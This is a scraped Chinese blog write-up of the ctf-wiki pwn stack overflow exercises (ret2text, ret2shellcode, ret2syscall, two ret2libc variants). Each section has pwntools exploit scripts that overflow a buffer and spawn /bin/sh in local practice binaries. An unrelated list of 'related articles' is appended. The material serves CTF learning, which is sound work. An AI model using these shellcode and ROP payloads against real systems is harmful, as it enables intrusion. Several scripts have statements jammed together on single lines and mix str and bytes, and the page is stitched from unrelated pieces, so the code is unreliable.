ctfwiki-pwn

  • stackoverflow
    • ret2text
    • ret2shellcode
    • ret2syscall
    • ret2libc1
    • ret2libc2

stackoverflow

ret2text

首先checksec一下,是32位可执行文件,没有开启保护

放入ida,shift+f12查看字符串,发现secure函数中使用system函数调用了"/bin/sh",记下地址0x804863a

查看偏移地址


脚本如下:

from pwn import *
io = process("./ret2text")
payload = b"a"*112 + p32(0x804863a)
io.sendline(payload)
io.interactive()

ret2shellcode

checksec一下,是32位小端序

IDA看一下汇编代码,发现没有shell

找到溢出点


buf2所在段有执行权限

分析偏移地址:112

构造脚本:

from pwn import *io = process('./ret2shellcode')shellcode = asm(shellcraft.sh())
buf2_addr = 0x804A080
payload = shellcode.ljust(112, 'A') + p32(buf2_addr)io.sendline(payload)io.interactive()

ret2syscall

checksec一下,是32位小端序

找到/bin/sh地址

分析偏移地址

待构建的shellcode如下:

pop eax -->0xb
pop ebx -->'/bin/sh'
pop ecx -->0
pop edx -->0
int 0x80

找到所需代码片段

构建脚本:

from pwn import *io = process('./rop')offset=112
bin_sh_addr = 0x080BE408
pop_eax_ret_addr = 0x080bb196
pop_edx_ecx_ebx_addr=0x0806eb90
int_addr=0x08049421payload = "a"*offset + p32(pop_eax_ret_addr) + p32(0xb) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_addr)io.sendline(payload)io.interactive()

ret2libc1

首先还是checksec一下,是32位小端序

IDA打开,发现溢出点

用pwndbg算一算偏移地址

找到/bin/sh地址和system函数的plt表地址


构建exp(“b”*4作为虚假的返回地址,用于使函数调用结构完整):

from pwn import *io = process('./ret2libc1')offset = 112system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720payload = "a"*offset + p32(system_plt_addr) + "b"*4  + p32(bin_sh_addr)io.sendline(payload)io.interactive()

ret2libc2

checksec一下,是32位小端序

放进IDA里,发现溢出点

找到system函数,但找不到/bin/sh

在bss段找到一个buffer

并且这个buffer有写入权限

于是我们可以利用gets函数将/bin/sh读入到buf2中,再由system函数执行
计算偏移地址

找到system和gets对应的plt表地址

exp如下:

from pwn import *
io = process('./ret2libc2')system_addr = 0x8048490
gets_addr = 0x8048460
buf_addr = 0x804A080
payload = 'a'*112 + p32(gets_addr) + p32(system_addr) + p32(buf_addr) + p32(buf_addr)io.sendline(payload)io.sendline('/bin/sh')io.interactive()

CTFWiki-pwn相关推荐

  1. ISCC 2018 PWN WriteUp

    1.Login [分值:200]--年轻人的第一道PWN 漏洞位置: 漏洞见上图,BUF大小0x40 读取时读了0x280字节,这样可覆盖掉Menu函数的返回值. 此函数中存在一个可能执行system ...

  2. 一道题彻底理解 Pwn Heap Unlink

    基本原理 unlink是一个宏操作,用于将某一个空闲 chunk 从其所处的双向链表中脱链, 我们来利用unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 ...

  3. pwn 学习笔记 格式化串计算偏移量

    学习参照:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit/ 利用%s泄露libc函数的got表内容 addr%k$s可以用来 ...

  4. 栈溢出原理 小记 基础中的基础~~

    原文地址:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stackoverflow-basic-zh/ 自己的理解: 栈溢出指 ...

  5. 好好说话之unlink

    堆溢出的第三部分unlink,这可能是有史以来我做的讲解图最多的一篇文章了累死 .可能做pwn的人都应该听过unlink,见面都要说声久仰久仰.学unlink的时候走了一些弯路,也是遇到了很多困扰的问 ...

  6. 安恒2018.10 level1思路讲解

    程序功能分析 主程序是一个菜单,只有两个选项.一个是create,另一个是show.没有关于free的函数,所以可能会用到house of orange的技术来创造一个unsorted bin. in ...

  7. 花式栈溢出技巧----stack pivoting/frame faking

    学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/ https://www.jianshu.com/ ...

  8. 通用gadget详解

    gadget 利用gadget是做pwn题时控制程序流程一种重要且常用的方法. rop是什么? 参考链接 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/s ...

  9. 堆漏洞-UAF漏洞简析

    UAF use after free,其内容如同其名称.在free后进行利用.UAF是堆结构漏洞的一种重要的利用方式. 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃 ...

  10. Linux 二进制漏洞挖掘入门系列之(五)UAF 漏洞分析与利用

    0x10 UAF(Use After Free) 漏洞原理 这里,需要先介绍一下堆分配内存的原则.ptmalloc 是 glibc 的堆管理器,前身是 dlmalloc,Linux 中进程分配内存的两 ...

最新文章

  1. 【TeeChart Pro ActiveX教程】(八):ADO数据库访问(上)
  2. 3D打印产业化机遇与挑战
  3. 12 HTML5中的影音播放
  4. [architecture]-AMRV7和ARMV8中的一些细微差异
  5. jdk jre jvm 关系
  6. [BUUCTF-pwn]——bbys_tu_2016
  7. 什么是换码符(escape character)?
  8. 下一代面向知识的 BI 到底有何不同,从 nextionBI 数据解读能力中一探究竟
  9. java使用哪个类,怎么知道 java类从哪个jar 加载
  10. Node.js 11.14.0 发布,服务器端的 JavaScript 运行环境
  11. No such file or directory
  12. MySQL数据库索引优化实战分析
  13. 学习PetShop3.0(9)工厂的资料
  14. paip.账务系统的安全性
  15. 组合模型预测模型_改进著名的nfl预测模型
  16. Tableau数据源(一)-引入数据源
  17. 2022管理类联考真题不含答案-文都管联院
  18. 浏览器是怎么得到一个网页的
  19. 硬盘分区误删 ,快速恢复硬盘分区及数据
  20. C# 读取txt文件生成Word文档

热门文章

  1. 用Python定时每日爬取天气并把结果发送到邮箱项目实例
  2. 网站关键词排名下掉?快查下是否入坑了这6个SEO误区
  3. 第十二课 从宠物商店案例看DAPP架构和WEB3.JS交互接口
  4. 元胞自动机-森林火灾模拟
  5. 《Linux/UNIX OpenLDAP实战指南》——1.6 LDIF详解
  6. 哪些模块可用于python性能分析_4-Python内置类型性能分析
  7. Java NIO Introduction
  8. 用51单片机c语言实现电磁炉功能,基于单片机电磁炉控制系统设计..doc
  9. c语言程序设计教程西安交通大学出版社,C语言课程设计票务管理系统精要.doc
  10. Adobe发布第二财季财报:营收27.44亿美元 同比增长25%